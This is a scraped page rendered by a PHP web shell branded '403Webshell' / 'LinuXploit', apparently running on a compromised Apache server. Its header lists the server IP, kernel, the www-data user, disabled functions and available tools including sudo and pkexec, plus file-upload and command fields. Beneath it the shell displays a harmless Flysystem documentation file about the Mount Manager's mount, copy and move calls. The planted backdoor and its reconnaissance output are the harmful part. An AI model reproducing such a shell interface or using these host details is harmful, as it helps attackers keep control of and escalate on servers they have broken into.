403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/vendor/league/flysystem/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/vendor/league/flysystem/docs//mount-manager.md
---
layout: default
permalink: /mount-manager/
title: Mount Manager
---

# Mount Manager

Flysystem comes with an wrapper class to easily work with multiple file system instances
from a single object. The `League\Flysystem\MountManager` is an easy to use container allowing
you to simplify more complex cross file system interactions.

Setting up a Mount Manager is easy:

~~~ php
$ftp = new League\Flysystem\Filesystem($ftpAdapter);
$s3 = new League\Flysystem\Filesystem($s3Adapter);
$local = new League\Flysystem\Filesystem($localAdapter);

// Add them in the constructor
$manager = new League\Flysystem\MountManager([
    'ftp' => $ftp,
    's3' => $s3,
]);

// Or mount them later
$manager->mountFilesystem('local', $local);
~~~

Now we do all the file operations we'd normally do on a `Flysystem\Filesystem` instance.

~~~ php
// Read from FTP
$contents = $manager->read('ftp://some/file.txt');

// And write to local
$manager->write('local://put/it/here.txt', $contents);
~~~

This makes it easy to code up simple sync strategies.

~~~ php
$contents = $manager->listContents('local://uploads', true);

foreach ($contents as $entry) {
    $update = false;

    if ( ! $manager->has('storage://'.$entry['path'])) {
        $update = true;
    } elseif ($manager->getTimestamp('local://'.$entry['path']) > $manager->getTimestamp('storage://'.$entry['path'])) {
        $update = true;
    }

    if ($update) {
        $manager->put('storage://'.$entry['path'], $manager->read('local://'.$entry['path']));
    }
}
~~~

## Specialized calls

### Copy

The copy method provided by the Mount Manager takes the origin of the file into account.
When it detects the source and destination are located on a different file systems it'll
use a streamed upload instead, transparently.

~~~ php
$mountManager->copy('local://some/file.ext', 'backup://storage/location.ext');
~~~

### Move

The `move` call is the multi-file system counterpart to `rename`. Where rename must be used on
the same file system, the `move` call provides the same conceptual behavior, but then on two
different file systems.

~~~ php
$mountManager->move('local://some/upload.jpeg', 'cdn://users/1/profile-picture.jpeg');
~~~

Youez - 2016 - github.com/yon3zu
LinuXploit